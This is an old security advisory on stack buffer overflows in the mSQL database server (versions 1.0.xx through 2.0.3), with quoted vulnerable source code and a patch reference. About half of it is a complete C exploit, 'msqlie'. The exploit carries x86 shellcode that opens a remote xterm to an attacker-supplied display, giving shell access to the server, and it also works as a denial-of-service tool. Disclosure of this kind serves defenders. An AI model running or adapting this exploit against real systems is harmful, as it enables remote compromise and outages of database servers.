COMMAND

    mSQL

SYSTEMS AFFECTED

    Win NT and unices with mSQL 1.0.xx and 2.0.2 and prior, 2.0.3

PROBLEM

    Following is  based on  SDI Advisory.   mSQL is  a SQL  server for
    Unix  and  Windows  systems.   It's  a  complete  server to manage
    database (create,  drop, insert  tables, query,  etc).   It's most
    used in web servers dealing with e-commerce and web servers  which
    deals with database (such as search engines). In the mSQL v1.0.xx,
    SDI have found a  lot of buffers without  any bounds check.   But,
    what took them a special attention was the follow lines:

        --- common/debug.c ---

        void _msqlDebug(va_alist)
                va_dcl
        {
                        va_list args;
                char    msg[10240],

         (...)
                (void)vsprintf(msg,fmt,args);
         (...)

    As we can see  by looking in these  lines above, we've a  function
    which will merrily  pass a long  string (over 10240  bytes) in the
    stack  without  any  check.   But,  we're  still needing a call to
    msqlDebug to create security thread:

        ----- msql/msqld.c -----

                FD_SET(newSock,&clientFDs);
                uname = (char *)strtok(packet,"\n");
                msqlDebug(MOD_GENERAL,"User = %s\n",uname);
                safeFree(conArray[newSock].user);
                conArray[newSock].user = (char *)
                strdup(uname);
                sprintf(packet,"-100:\n");
                writePkt(newSock);

    That's it. If  the mSQL is  in Debug mode,  a long username  (over
    10240)  will  crash  the  machine  (and possible execute arbitrary
    codes in the stack).   You might be thinking  it's over.  Ok,  SDI
    have found another  security problem which  can lead to  denial of
    service or arbitrary commands to be executed in the stack.  Have a
    good look at these lines:

        ----- msql/msqld.c -------

             switch(command)
             {
               case INIT_DB:
               cp=(char *)strtok(packet+2,"\n\r");
               if (!cp)
               {
                        sendError(comSock,NO_DB_ERROR);
                        break;
               }
               strcpy(dbname,cp);
               msqlDebug(MOD_GENERAL,"DBName = %s\n", dbname);
               conArray[comSock].access = msqlCheckAccess(
                        dbname, conArray + comSock);
             (...)
               if (msqlInit(dbname) < 0)
             (...)

    As you can see here, we have three possible threads:

    1) strcpy (dbname, cp);
       The  variable  dbname  has  32  bytes  long and the strcpy will
       happily pass the database name string (which can be over  12000
       bytes  long)  in  the  stack.  What  took our attention was the
       behavior  of  this  special  buffer.  We can't reach the return
       address but we can mess with the socket descriptor, causing the
       select function  to crash,  thus creating  a denial  of service
       thread (the server was unreachable).

    2) msqlDebug(MOD_GENERAL, "DBname = %s\n", dbname);
       As explained above, the msqlDebug has a vulnerable buffer, thus
       passing a long  database name to  the server, if  it's in Debug
       mode, we can reach the  return address in the stack,  causing a
       denial of service or an arbitrary commands to be executed.

    3) msqlInit(dbname)
       Take a look at these lines:

        ---- msql/msqldb.c -----

        int msqlInit(DB)
                char    *DB;
        {
                char    path[255];
        (...)
                (void)sprintf(path,"%s/msqldb/%s",msqlHomeDir,DB);
        (...)

    The function msqlInit will  merrily pass the database  name (given
    by the client) to  a 255 bytes long  buffer. It'll cause a  buffer
    overflow, which can lead to  arbitrary commands to be executed  in
    the stack  or a  denial of  service.   Vulnerable are  found  mSQL
    v1.0.xx  (vulnerable  to  the  whole  possibilities  of exploiting
    (arbitrary commands) and denial of service (debug and dbname)) and
    mSQL v2.0.2 and prior (vulnerable to the possibility of exploiting
    (arbitrary commands)  and denial  of service  (debug and dbname).)
    while  mSQL v2.0.3 and above are not vulnerable to the  exploiting
    vulnerability (arbitrary commands), but are it's still  vulnerable
    to Denial of  Service (debug and  dbname). This is  because Hughes
    has patched the 2.0.3 version  from the msqlInit() attack and  the
    msqlDebug attack. Though, we can  still cause a denial of  service
    in the mSQL server:

        ----- common/debug.c -----

        (...)
        static char     msgBuf[10 * 1024];
        (...)


        void _msqlDebug(va_alist)
                va_dcl
        {

          (...)
                (void)vsprintf(msgBuf,fmt,args);
          (...)

    If we pass a long string (over 10240 bytes) to the static  buffer,
    we can  happily crash  the server,  causing a  segmentation fault.
    The dbname thread was  not completly removed, the  strcpy (dbname,
    cp) is still there which  can lead to mess the  socket descriptor,
    thus causing a denial of service.

    So, to  make a  summery, all  versions of  mSQL are  vulnerable to
    Denial of Service,  which can lead  to crash the  database server,
    messing with the whole applications using the database.   Versions
    prior  to  2.0.2  (including  2.0.2)  are  vulnerable to arbitrary
    commands been executed in the  stack, thus leading to gain  access
    to the  remote machine  running mSQL  with the  privilegies of the
    default mSQL user:

        - In 1.0.xx versions, the default user is *root*.
        - In  2.0.xx versions,  the default  user is  msql (but if the
          server  is  called  by  a   root  user,  it'll  only  do   a
          setuid(getuid(msql)), thus keeping the gid(0) privileges).

    SNI developed the exploitation   script to this thread   which you
    can find through the following web page or below:


        http://ssc.sekure.org

    Exploit follows:

    /*
     * Sekure SDI - Brazilian Information Security Team
     *
     * SDI-msqlie (Nov 26, 1998)
     *
     * mSQL 2.0 B2 exploit for linux. also works as DoS attack
     * for higher versions. This bug was discovered by  c0nd0r
     * and resides in the mSQL log of connections.
     *
     * This program opens a xterm for the specified host.
     *
     *
     * usage:
     *     msqlie victim.com lame.org:0 [offset]
     *
     *
     * remember, the msql MUST to be running in DEBUG mode!
     *
     *
     * by jamez and c0nd0r from uground/sekure.
     *
     * thanks to bishop.
     *
     *
     */

    #include <signal.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <netdb.h>

    #define BUFFSIZE 15000
    #define PKT_LEN 11000
    #define NOP 0x90


    /*
    int main() {
            __asm__("
            jmp   0x31
            popl  %esi
            movl  %esi,0x30(%esi)
            leal  0x15(%esi),%ebx
            movl  %ebx,0x34(%esi)
            leal  0x1e(%esi),%ebx
            movl  %ebx,0x38(%esi)
            xorl  %eax,%eax
            movb  %eax,0x14(%esi)
            movb  %eax,0x1d(%esi)
            movb  %eax,0x2f(%esi)
            movl  %eax,0x3c(%esi)
            movb  $0xb,%al
            movl  %esi,%ebx
            leal  0x30(%esi),%ecx
            leal  0x3c(%esi),%edx
            int   $0x80
            xorl  %ebx,%ebx
            movl  %ebx,%eax
            inc   %eax
            int   $0x80
            call  -0x36
            .string \"/usr/X11R6/bin/xterm -display xxx.xxx.xxx.xxx:0\"");
    }
    */


    /* base */
    char shellcode[] =
            "\xeb\x31\x5e\x89\x76\x30\x8d\x5e\x15\x89\x5e\x34"
            "\x8d\x5e\x1e\x89\x5e\x38\x31\xc0\x88\x46\x14\x88"
            "\x46\x1d\x88\x46\x2f\x89\x46\x3c\xb0\x0b\x89\xf3"
            "\x8d\x4e\x30\x8d\x56\x3c\xcd\x80\x31\xdb\x89\xd8"
            "\x40\xcd\x80\xe8\xca\xff\xff\xff"
            "/usr/X11R6/bin/xterm -display ";



    int s;
    struct sockaddr_in addr;
    char buff[BUFFSIZE];


    unsigned long resolve(char * host)
    {
      long ret;
      struct hostent *  he;

      ret = inet_addr(host);

      if(ret == -1) {
        if((he = gethostbyname(host)) == NULL) {
          printf("unknown host %s\n", host);
          exit(1);
        }
        else
          return (*(unsigned long *)he->h_addr);
      }
      else
        return(ret);
    }



    void time_out(int i)
    {
      alarm (0);
      signal (SIGALRM, SIG_DFL);
      printf ("unable to connect: connection timed out.\n");
      exit (1);
    }




    int main(int argc, char * argv[])
    {

      char * host, * xterm_host;
      int port = 1114, i, x, len, offset = 0;

      unsigned long evil_addr;


      if(argc < 3) {
        printf("msqlie\n");
        printf(" - usage: %s host xterm_host:0 [offset]\n", argv[0]);
        exit(0);
      }
      else {
        host = argv[1];
        xterm_host = argv[2];
      }
      if(argc > 3) offset = atoi(argv[3]);


      evil_addr = 0xbfffceaa + offset;


      printf("using addres: 0x%x\n", evil_addr);
      printf("let's try to get in...\n");



      addr.sin_family = AF_INET;
      addr.sin_port = htons(port);
      addr.sin_addr.s_addr = resolve(host);


      if((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
        printf("can't creat socket.\n");
        exit(1);
      }



      signal (SIGALRM, time_out);
      alarm(15);


      if(connect(s, (struct sockaddr *) &addr, sizeof(addr)) < 0) {
        printf("connection failed!\n");
        exit(1);
      }

      alarm(0);


      i = 0;

      buff[i++] = (unsigned int)(PKT_LEN & 0x000000ff);
      buff[i++] = (unsigned int)(PKT_LEN & 0x0000ff00) >> 8;
      buff[i++] = (unsigned int)(PKT_LEN & 0x00ff0000) >> 16;
      buff[i++] = (unsigned int)(PKT_LEN & 0xff000000) >> 24;




      for(; i < 8001 ; i++)
        buff[i] = NOP ;


     for(; i < BUFFSIZE; i += 4) {
        buff[i  ] = evil_addr & 0x000000ff;
        buff[i+1] = (evil_addr & 0x0000ff00) >> 8;
        buff[i+2] = (evil_addr & 0x00ff0000) >> 16;
        buff[i+3] = (evil_addr & 0xff000000) >> 24;
      }


      /* fix up the execve code */
      len = strlen(xterm_host);

      shellcode[5 ] = 0x1f + len;
      shellcode[11] = 0x23 + len;
      shellcode[17] = 0x27 + len;
      shellcode[28] = 0x1e + len;
      shellcode[31] = 0x2b + len;
      shellcode[38] = 0x1f + len;
      shellcode[41] = 0x2b + len;


      /* base */
      for(i = 8001, x = 0; x < strlen(shellcode); x++, i++)
        buff[i] = shellcode[x];


      /* victim host */
      for(x = 0; x < strlen(xterm_host); x++, i++)
        buff[i] = xterm_host[x];



      buff[PKT_LEN] = '\n';
      buff[BUFFSIZE - 1] = 0;


      printf("sending...\n");


      write(s, buff, sizeof(buff));


      sleep(10);

      printf("have phun! =)\n");

    }

SOLUTION

    To defeat  the exploitation,  apply the  mSQL patch "Sekure-mSQL".
    Features:

        - Syslog implementation.
        - Minor corrections.
        - Security holes corrections.
        - Attack attempt log.

    You may also find it at:

        http://ssc.sekure.org